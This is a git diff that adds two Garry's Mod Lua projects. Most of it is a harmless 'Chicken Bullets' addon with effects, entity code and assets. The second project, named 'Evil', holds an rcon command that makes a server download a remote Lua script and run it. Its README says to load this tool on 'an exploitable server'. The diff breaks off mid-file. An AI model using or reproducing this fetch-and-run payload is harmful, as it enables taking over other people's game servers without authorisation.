diff --git a/Repos/Chicken_Bullets-master/.gitattributes b/Repos/Chicken_Bullets-master/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/Repos/Chicken_Bullets-master/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Repos/Chicken_Bullets-master/README.md b/Repos/Chicken_Bullets-master/README.md new file mode 100644 index 0000000..4f1e10e --- /dev/null +++ b/Repos/Chicken_Bullets-master/README.md @@ -0,0 +1,21 @@ +``` +=== Chicken Bullets === +--By HeX + +All bullets fired from any guns, including HL2 default, become chickens! +https://www.youtube.com/watch?v=KZVbO3iYQNo + + +How to use: +Extract to addons/, enabled by default. + +CVars: +chicken_bullet_enabled 1/0 --Enable chicken bullets? +chicken_bullet_speed 24000 --Speed of hen +chicken_bullet_multi 2 --Damage multiplier +chicken_bullet_eggs 1/0 --Lay eggs? + +Extra credits: +Chicken model --lduke +Sounds / Effects --Teta_Bonita +``` \ No newline at end of file diff --git a/Repos/Chicken_Bullets-master/addon.txt b/Repos/Chicken_Bullets-master/addon.txt new file mode 100644 index 0000000..661e958 --- /dev/null +++ b/Repos/Chicken_Bullets-master/addon.txt @@ -0,0 +1,10 @@ +"AddonInfo" +{ + "name" "Chicken Bullets" + "version" "1.0" + "up_date" "23.08.14" + "author_name" "Teta_Bonita + HeX" + "author_email" "" + "author_url" "" + "info" "Oh cluck" +} \ No newline at end of file diff --git a/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua b/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua new file mode 100644 index 0000000..8771efd --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/autorun/client/cl_ChickenBullets.lua @@ -0,0 +1,19 @@ + + +local RED = Color(255,80,0,255) + +killicon.Add("chicken_bullet", "killicons/chicken_bullet", RED) + +language.Add("chicken_bullet", "Chicken") + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua b/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua new file mode 100644 index 0000000..5e9bf33 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/autorun/server/sv_ChickenBullets.lua @@ -0,0 +1,136 @@ + +AddCSLuaFile("autorun/client/cl_ChickenBullets.lua") + +local Enabled = CreateConVar("chicken_bullet_enabled", 1) +local Velocity = CreateConVar("chicken_bullet_speed", 100) +local Multi = CreateConVar("chicken_bullet_multi", 2) +local Eggs = CreateConVar("chicken_bullet_eggs", 1) + +local sndTabAttack = { + Sound("chicken/attack1.wav"), + Sound("chicken/attack2.wav"), +} + + +--bullet.Damage is 0 for HL2 guns, dumbass garry! +local HL2Guns = { + ["weapon_ar2"] = "sk_plr_dmg_ar2", + ["weapon_smg1"] = "sk_plr_dmg_smg1", + ["weapon_shotgun"] = "sk_plr_dmg_buckshot", + ["weapon_pistol"] = "sk_plr_dmg_pistol", + ["weapon_357"] = "sk_plr_dmg_357", +} + +local function FireChickenBullet(self,Bul) + if not IsValid(self) or not Enabled:GetBool() then return end + + //Was a chicken bullet + if self.CanFireChickenBullet then + //Fix HL2 gun damage + local Owner = Bul.Attacker + if Owner and Owner.GetActiveWeapon then --Is a player shooting these + local Wep = Owner:GetActiveWeapon() + + if IsValid(Wep) then + local New = HL2Guns[ Wep:GetClass() ] + + if New then + Bul.Damage = GetConVarNumber(New) * Multi:GetFloat() + end + end + end + + self.CanFireChickenBullet = false --Don't trigger more chickens + return true --Override this bullet + end + + + for i=1, Bul.Num do + self:EmitSound("chicken/chicken_tube.mp3") + self:EmitSound( table.Random(sndTabAttack) ) + + local x = Bul.Spread.x + local y = Bul.Spread.y + local Ang = Bul.Dir + Vector(0, math.Rand(-x, x), math.Rand(-y, y) ) + + local Hen = ents.Create("chicken_bullet") + Hen:SetModel("models/lduke/chicken/chicken3.mdl") + Hen:SetPos(Bul.Src) + Hen:SetAngles( Ang:Angle() ) + Hen:SetOwner(self) + Hen:SetPhysicsAttacker(self) + Hen.Owner = self + Hen:Spawn() + Hen.Eggs = Eggs:GetBool() + Hen.Bullet = Bul + + if not IsValid(Hen) then return end + local Phys = Hen.PhysObj + if IsValid(Phys) then + Phys:SetVelocity( Hen:GetForward() * (Bul.Force + Velocity:GetInt() ) ) + end + end + + return false --No bullet +end + +hook.Add("EntityFireBullets", "FireChickenBullet", FireChickenBullet) + + + +--- Resources --- +resource.AddFile("materials/particles/feather.vtf") --Particle +resource.AddFile("materials/particles/feather.vmt") + +resource.AddFile("materials/killicons/chicken_bullet.vtf") --Killicon +resource.AddFile("materials/killicons/chicken_bullet.vmt") + +resource.AddFile("materials/models/lduke/chicken/chicken2.vtf") --Materials +resource.AddFile("materials/models/lduke/chicken/chicken2.vmt") + +resource.AddFile("models/lduke/chicken/chicken3.mdl") --Models +resource.AddFile("models/lduke/chicken/chicken3.phy") +resource.AddFile("models/lduke/chicken/chicken3.dx80.vtx") +resource.AddFile("models/lduke/chicken/chicken3.dx90.vtx") +resource.AddFile("models/lduke/chicken/chicken3.sw.vtx") +resource.AddFile("models/lduke/chicken/chicken3.vvd") + +resource.AddFile("sound/chicken/alert.wav") --Sounds +resource.AddFile("sound/chicken/attack1.wav") +resource.AddFile("sound/chicken/attack2.wav") +resource.AddFile("sound/chicken/death.wav") +resource.AddFile("sound/chicken/idle1.wav") +resource.AddFile("sound/chicken/idle2.wav") +resource.AddFile("sound/chicken/idle3.wav") +resource.AddFile("sound/chicken/pain1.wav") +resource.AddFile("sound/chicken/pain2.wav") +resource.AddFile("sound/chicken/pain3.wav") +resource.AddFile("sound/chicken/chicken_tube.mp3") + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua b/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua new file mode 100644 index 0000000..118146d --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/chicken_death/init.lua @@ -0,0 +1,81 @@ +-- Chicken explosion effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + --Pos.z = Pos.z + 10 + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding blood puff facing the player + local particle = emitter2D:Add( "effects/blood_core", Pos ) + particle:SetDieTime( math.Rand( 0.5, 0.6 ) ) + particle:SetStartSize( 25 ) + particle:SetEndSize( math.Rand( 60, 80 ) ) + particle:SetStartAlpha( math.Rand( 200, 230 ) ) + particle:SetColor( 220, 20, 30 ) + + -- Shoot blood drops + for i = 1,8 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + + local particle = emitter2D:Add( "effects/blood2", Pos + norm * 5 ) + particle:SetDieTime( math.Rand( 0.8, 1 ) ) + particle:SetVelocity( norm * math.Rand( 150, 200 ) ) + particle:SetAirResistance( 80 ) + particle:SetGravity( Vector( 0, 0, -400 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.7 ) + particle:SetStartSize( 1 ) + particle:SetEndSize( 2 ) + particle:SetStartLength( math.Rand( 8, 14 ) ) + particle:SetEndLength( math.Rand( 12, 18 ) ) + particle:SetStartAlpha( math.Rand( 200, 230 ) ) + particle:SetColor( 220, 20, 30 ) + + end + + -- Emit feathers + for i = 1,32 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + local size = math.Rand( 3, 5 ) + + local particle = emitter3D:Add( "particles/feather", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 3.5, 4.5 ) ) + particle:SetVelocity( norm * math.Rand( 250, 500 ) ) + particle:SetAirResistance( 350 ) + particle:SetGravity( Vector( math.Rand( -25, 25 ), math.Rand( -25, 25 ), -300 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.1 ) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity( AngleRand() * 150 ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 255, 255 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + + +end + diff --git a/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua b/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua new file mode 100644 index 0000000..26adec4 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/chicken_pain/init.lua @@ -0,0 +1,59 @@ +-- Chicken pain effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding blood puff facing the player + local particle = emitter2D:Add( "effects/blood2", Pos ) + particle:SetDieTime( math.Rand( 0.2, 0.4 ) ) + particle:SetStartSize( 3 ) + particle:SetEndSize( math.Rand( 8, 12 ) ) + particle:SetStartAlpha( 255 ) + particle:SetColor( 220, 20, 30 ) + + -- Emit feathers + for i = 1,32 do + + local norm = Vector( math.Rand( -1, 1 ), math.Rand( -1, 1 ), math.Rand( -0.3, 1 ) ):GetNormalized() + local size = math.Rand( 3, 5 ) + + local particle = emitter3D:Add( "particles/feather", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 2, 2.5 ) ) + particle:SetVelocity( norm * math.Rand( 150, 300 ) ) + particle:SetAirResistance( 400 ) + particle:SetGravity( Vector( math.Rand( -25, 25 ), math.Rand( -25, 25 ), -300 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.1 ) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity( AngleRand() * 150 ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 255, 255 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + + +end + diff --git a/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua b/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua new file mode 100644 index 0000000..88fcd92 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/effects/egg_break/init.lua @@ -0,0 +1,59 @@ +-- Egg break effect +-- By Teta_Bonita + +function EFFECT:Init( data ) + + local Pos = data:GetOrigin() + local Norm = data:GetNormal() + + local emitter3D = ParticleEmitter( Pos, true ) + local emitter2D = ParticleEmitter( Pos, false ) + + -- Make an expanding smoke puff facing the player + local particle = emitter2D:Add( "particle/particle_smokegrenade", Pos ) + particle:SetDieTime( math.Rand( 0.3, 0.4 ) ) + particle:SetStartSize( 10 ) + particle:SetEndSize( math.Rand( 30, 40 ) ) + particle:SetStartAlpha( 255 ) + particle:SetColor( 200, 200, 200 ) + + -- Emit egg (balloon) bits + for i = 1,32 do + + local norm = Norm + VectorRand() + norm:Normalize() + local size = math.Rand( 1, 2.5 ) + + local particle = emitter3D:Add( "particles/balloon_bit", Pos + norm * 3 ) + particle:SetDieTime( math.Rand( 2.5, 3.5 ) ) + particle:SetVelocity( norm * math.Rand( 150, 450 ) ) + particle:SetAirResistance( 80 ) + particle:SetGravity( Vector( 0, 0, -400 ) ) + particle:SetCollide( true ) + particle:SetBounce( 0.8 ) + particle:SetAngles( norm:Angle() ) + particle:SetStartAlpha( 255 ) + particle:SetStartSize( size ) + particle:SetEndSize( size ) + particle:SetColor( 255, 242, 236 ) + + end + + emitter3D:Finish() + emitter2D:Finish() + +end + + +function EFFECT:Think() + + -- Kill instantly... this effect is only used to spawn particles on init. + return false + +end + + +function EFFECT:Render() + +end + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua new file mode 100644 index 0000000..8dffbcd --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/cl_init.lua @@ -0,0 +1,56 @@ + + +include("shared.lua") + + +local MIN_EMIT_SPEED = 1 + +function ENT:Initialize() + self.Emitter = ParticleEmitter( self:GetPos(), true ) + self.NextEmit = CurTime() +end + +function ENT:Draw() + self:DrawModel() + + -- Emit feathers + local speed = self:GetVelocity():Length() + if speed <= MIN_EMIT_SPEED then return end + + + -- The emission rate is based on how fast we are going + if not self.Emitter or self.NextEmit > CurTime() then return end + self.NextEmit = CurTime() + 0.05 + + + local mypos = self:GetPos() + mypos.z = mypos.z + 10 + + self.Emitter:SetPos( mypos ) + + local size = math.Rand(3,5) + + + local particle = self.Emitter:Add("particles/feather", mypos) + particle:SetDieTime( math.Rand(2,3) ) + particle:SetVelocity(VectorRand() * 15) + particle:SetAirResistance(400) + particle:SetGravity( Vector( math.Rand(-25,25), math.Rand(-25,25), -300) ) + particle:SetCollide(true) + particle:SetBounce(0.1) + particle:SetAngles( AngleRand() ) + particle:SetAngleVelocity(AngleRand() * 150) + particle:SetStartAlpha(255) + particle:SetStartSize(size) + particle:SetEndSize(size) + particle:SetColor(255,255,255) +end + + +function ENT:OnRemove() + if self.Emitter then self.Emitter:Finish() end +end + + + + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua new file mode 100644 index 0000000..2254ff5 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/init.lua @@ -0,0 +1,244 @@ + +AddCSLuaFile("cl_init.lua") +AddCSLuaFile("shared.lua") +include("shared.lua") + + +local sndTabPain = { + Sound("chicken/pain1.wav"), + Sound("chicken/pain2.wav"), + Sound("chicken/pain3.wav"), +} + + +local sndTabIdle = { + Sound("chicken/idle1.wav"), + Sound("chicken/idle2.wav"), + Sound("chicken/idle3.wav"), +} + + +function ENT:Initialize() + self:SetModel("models/lduke/chicken/chicken3.mdl") + + self:PhysicsInit(SOLID_VPHYSICS) + self:SetMoveType(MOVETYPE_VPHYSICS) + self:SetSolid(SOLID_VPHYSICS) + + self:SetGravity(0.005) + + self.PhysObj = self:GetPhysicsObject() + if self.PhysObj:IsValid() then + self.PhysObj:SetMass(1) + self.PhysObj:SetDamping(0,0) + self.PhysObj:Wake() + self.PhysObj:EnableGravity(true) + end + + self.IsChicken = true + self.ChickenHealth = 10 + self.NextEmitIdle = self.NextEmitIdle or CurTime() + + timer.Simple(10, function() + if self and self.Detonate then + self:Detonate() + end + end) +end + + + +function ENT:Detonate() + if not IsValid(self) then return end + self.ChickenHealth = 100 + + local effect = EffectData() + effect:SetOrigin( self:GetPos() ) + util.Effect("chicken_death", effect) + + --[[local boom = ents.Create("env_explosion") + boom:SetPos( self:GetPos() ) + boom:SetOwner( self.Owner ) + boom:Spawn() + boom:SetKeyValue("iMagnitude", "0") + boom:Fire("Explode",0,0)]] + + self:EmitSound( Sound("chicken/death.wav") ) + + //Random chance of egg! + if self.Eggs and math.random(0,1) == 1 then + local Nade = ents.Create("prop_physics") + Nade:SetModel("models/props_phx/misc/egg.mdl") + local Pos = self:GetPos() + Pos.z = Pos.z - 4 + + Nade.IsChicken = true + Nade:SetPos(Pos) + Nade:SetAngles( self:GetAngles() ) + Nade:SetMaterial("models/shiny") + Nade:SetHealth(200) + + if IsValid(self.Owner) then + Nade:SetOwner(self.Owner) + Nade.Owner = self.Owner + Nade:SetPhysicsAttacker(self.Owner) + end + Nade:Spawn() + + //Break + Nade:CallOnRemove("EggBreak", function() + if not IsValid(Nade) then return end + + Nade:EmitSound("phx/eggcrack.wav", 500, math.random(100,150) ) + + local effect = EffectData() + effect:SetOrigin( Nade:GetPos() ) + effect:SetNormal( Vector(0,0,1) ) + util.Effect("egg_break", effect) + end) + + //Remove egg if not broken + timer.Simple(10, function() + if IsValid(Nade) then + Nade:Remove() + end + end) + + //Cluck! + self:EmitSound( Sound("chicken/alert.wav") ) + end + + self:StopSounds() + self:Remove() +end + + +function ENT:PhysicsCollide(data,physobj) + if not IsValid(self) then return end + if IsValid(data.HitEntity) and data.HitEntity.IsChicken then return end + if not self.Bullet then return end + + local Owner = self.Owner + self:Detonate() + + if IsValid(Owner) then + local Bul = { + Src = self:GetPos(), + Dir = self:GetForward(), + Damage = self.Bullet.Damage, + Force = self.Bullet.Force, + Callback = self.Bullet.Callback, + Spread = 0, + Num = 1, + Tracer = 0, + TracerName = "Pistol", + } + + self:Remove() + Owner.CanFireChickenBullet = true + Owner:FireBullets(Bul) + return + end + + self:Remove() +end + + + +function ENT:OnTakeDamage(info) + self.IsTakingDamage = true + timer.Create(tostring(self), 0.56, 1, function() + if IsValid(self) then + self.IsTakingDamage = false + end + end) + + self.ChickenHealth = self.ChickenHealth - info:GetDamage() + + + local dmgpos = info:GetDamagePosition() + + if dmgpos == Vector(0,0,0) then + dmgpos = self:GetPos() + dmgpos.z = dmgpos.z + 10 + end + local effect = EffectData() + effect:SetOrigin(dmgpos) + util.Effect("chicken_pain", effect) + + self:EmitSound( table.Random(sndTabPain) ) + + + if self.ChickenHealth > 0 then return end --Still has health + self.ChickenHealth = 100 + + + if IsValid(self.PhysObj) then + self.PhysObj:SetMass(1400) + self.PhysObj:EnableGravity(true) + + local OldVel = self.PhysObj:GetVelocity() + self.PhysObj:AddVelocity(OldVel / 2) + self.PhysObj:SetVelocity(OldVel / 2) + end + + self:TakePhysicsDamage(info) +end + + + +function ENT:Think() + if not IsValid(self) then return end + if self:WaterLevel() > 0 and not self.WaterExploding then + self.WaterExploding = true + + timer.Simple(0.7, function() + if IsValid(self) then + self:Detonate() + end + end) + + return + end + + + if CurTime() > self.NextEmitIdle then + self.NextEmitIdle = CurTime() + 1 + + if not self.IsTakingDamage then + self:EmitSound(table.Random(sndTabIdle), 120, 100) + end + end +end + + +function ENT:OnRemove() + if not IsValid(self) then return end + self:StopSounds() +end + + +function ENT:StopSounds() + for k,v in pairs(sndTabIdle) do + self:StopSound(v) + end + + self:EmitSound( Sound("ambient/_period.wav") ) +end + + + + + + + + + + + + + + + + + diff --git a/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua new file mode 100644 index 0000000..6f5f7e9 --- /dev/null +++ b/Repos/Chicken_Bullets-master/lua/entities/chicken_bullet/shared.lua @@ -0,0 +1,9 @@ + + +ENT.Type = "anim" +ENT.PrintName = "Chicken Bullet" +ENT.Author = "Teta_Bonita + HeX" + +ENT.Spawnable = false +ENT.AdminSpawnable = false + diff --git a/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt new file mode 100644 index 0000000..e657c74 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/chicken_bullet" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf new file mode 100644 index 0000000..dfb561a Binary files /dev/null and b/Repos/Chicken_Bullets-master/materials/killicons/chicken_bullet.vtf differ diff --git a/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt new file mode 100644 index 0000000..6def4c7 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vmt @@ -0,0 +1,5 @@ +"VertexLitGeneric" +{ + "$baseTexture" "models/lduke/chicken/chicken2" + "$model" 1 +} diff --git a/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf new file mode 100644 index 0000000..d4a7e53 Binary files /dev/null and b/Repos/Chicken_Bullets-master/materials/models/lduke/chicken/chicken2.vtf differ diff --git a/Repos/Chicken_Bullets-master/materials/particles/feather.vmt b/Repos/Chicken_Bullets-master/materials/particles/feather.vmt new file mode 100644 index 0000000..10efcf2 --- /dev/null +++ b/Repos/Chicken_Bullets-master/materials/particles/feather.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "particles/feather" + "$vertexcolor" "1" + "$vertexalpha" "1" + "$translucent" "1" + "$nocull" "1" +} diff --git a/Repos/Chicken_Bullets-master/materials/particles/feather.vtf b/Repos/Chicken_Bullets-master/materials/particles/feather.vtf new file mode 100644 index 0000000..e9342f1 Binary files /dev/null and b/Repos/Chicken_Bullets-master/materials/particles/feather.vtf differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx80.vtx b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx80.vtx new file mode 100644 index 0000000..89c4c90 Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx80.vtx differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx90.vtx b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx90.vtx new file mode 100644 index 0000000..e487b7a Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.dx90.vtx differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl new file mode 100644 index 0000000..ade9194 Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.mdl differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.phy b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.phy new file mode 100644 index 0000000..64eca6e Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.phy differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx new file mode 100644 index 0000000..f7df077 Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.sw.vtx differ diff --git a/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd new file mode 100644 index 0000000..4f76628 Binary files /dev/null and b/Repos/Chicken_Bullets-master/models/lduke/chicken/chicken3.vvd differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/alert.wav b/Repos/Chicken_Bullets-master/sound/chicken/alert.wav new file mode 100644 index 0000000..ad0b6ad Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/alert.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/attack1.wav b/Repos/Chicken_Bullets-master/sound/chicken/attack1.wav new file mode 100644 index 0000000..3f15379 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/attack1.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/attack2.wav b/Repos/Chicken_Bullets-master/sound/chicken/attack2.wav new file mode 100644 index 0000000..98b90a0 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/attack2.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/chicken_tube.mp3 b/Repos/Chicken_Bullets-master/sound/chicken/chicken_tube.mp3 new file mode 100644 index 0000000..5679382 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/chicken_tube.mp3 differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/death.wav b/Repos/Chicken_Bullets-master/sound/chicken/death.wav new file mode 100644 index 0000000..46ce2f6 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/death.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/idle1.wav b/Repos/Chicken_Bullets-master/sound/chicken/idle1.wav new file mode 100644 index 0000000..1e7f5f3 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/idle1.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/idle2.wav b/Repos/Chicken_Bullets-master/sound/chicken/idle2.wav new file mode 100644 index 0000000..e49bbcb Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/idle2.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/idle3.wav b/Repos/Chicken_Bullets-master/sound/chicken/idle3.wav new file mode 100644 index 0000000..d9bc29c Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/idle3.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain1.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain1.wav new file mode 100644 index 0000000..8613058 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/pain1.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain2.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain2.wav new file mode 100644 index 0000000..f85c08f Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/pain2.wav differ diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain3.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain3.wav new file mode 100644 index 0000000..3de4d08 Binary files /dev/null and b/Repos/Chicken_Bullets-master/sound/chicken/pain3.wav differ diff --git a/Repos/Evil-master/.gitattributes b/Repos/Evil-master/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/Repos/Evil-master/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Repos/Evil-master/.gitignore b/Repos/Evil-master/.gitignore new file mode 100644 index 0000000..6dae747 --- /dev/null +++ b/Repos/Evil-master/.gitignore @@ -0,0 +1,36 @@ +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Windows Installer files +*.cab +*.msi +*.msm +*.msp + +# ========================= +# Operating System Files +# ========================= + +# OSX +# ========================= + +.DS_Store +.AppleDouble +.LSOverride + +# Icon must ends with two \r. +Icon + +# Thumbnails +._* + +# Files that might appear on external disk +.Spotlight-V100 +.Trashes diff --git a/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua b/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua new file mode 100644 index 0000000..ea68da4 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/DevStuff/dex_rcon.lua @@ -0,0 +1,7 @@ + + + + +rcon lua_run lol = "http.Get('mfsinc.googlecode.com/svn/trunk/DeX/dex.lua', ' ', function(s,f) RunString(s) end)" +rcon lua_run RunString(lol) + diff --git a/Repos/Evil-master/v12/DeX/README.txt b/Repos/Evil-master/v12/DeX/README.txt new file mode 100644 index 0000000..bdf401a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/README.txt @@ -0,0 +1,11 @@ + +=== OLD FILE, DO NOT USE. MOVED FROM GOOGLECODE 26.07.14 === + + +load using office_chair.txt adv dupe on an exploitable server. + +Check ./HeX's Scripts/garrysmod/lua/custom_menu/ml_H_OhDear.lua + + + + diff --git a/Repos/Evil-master/v12/DeX/bubble.lua b/Repos/Evil-master/v12/DeX/bubble.lua new file mode 100644 index 0000000..ec2ec54 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/bubble.lua @@ -0,0 +1,65 @@ + +if IsUH then return end + +local HoverHeads = {} + +concommand.Add("gm_b_on", function(ply,cmd,args) + if not ValidEntity(ply) then return end + + if not HoverHeads[ply] then + local ent = ents.Create("prop_physics") + HoverHeads[ply] = ent + ent:SetModel("models/extras/info_speech.mdl") + ent:SetMoveType(MOVETYPE_NONE) + ent:SetNotSolid(1) + ent:AddEffects(EF_ITEM_BLINK) + ent:AddEffects(EF_NOSHADOW) + ent:SetParent(ply) + ent:SetPos( ply:GetPos() + Vector(0,0,100) ) + ent:SetAngles(Angle(0,0,0)) + end + + if ValidEntity(ply.HSPChatKeyboard) then + ply.HSPChatKeyboard:Remove() + end + + ply.HSPChatKeyboard = ents.Create("prop_physics") + ply.HSPChatKeyboard:SetModel("models/props_c17/computer01_keyboard.mdl") + ply.HSPChatKeyboard:SetPos( ply:LocalToWorld(Vector(16,0,42)) ) + ply.HSPChatKeyboard:SetParent(ply) + ply.HSPChatKeyboard:SetLocalAngles(Angle(35,180,0)) +end) + +concommand.Add("gm_b_off", function(ply,cmd,args) + if not ValidEntity(ply) then return end + + if (HoverHeads[ply] and HoverHeads[ply]:IsValid()) then + HoverHeads[ply]:Remove() + HoverHeads[ply] = nil + end + + if ply.HSPChatKeyboard and ply.HSPChatKeyboard:IsValid() then ply.HSPChatKeyboard:Remove() end +end) + +hook.Add("Tick", "SpinMeRightRound", function() + for k,v in pairs(HoverHeads) do + if v:IsValid() then + v:SetAngles( 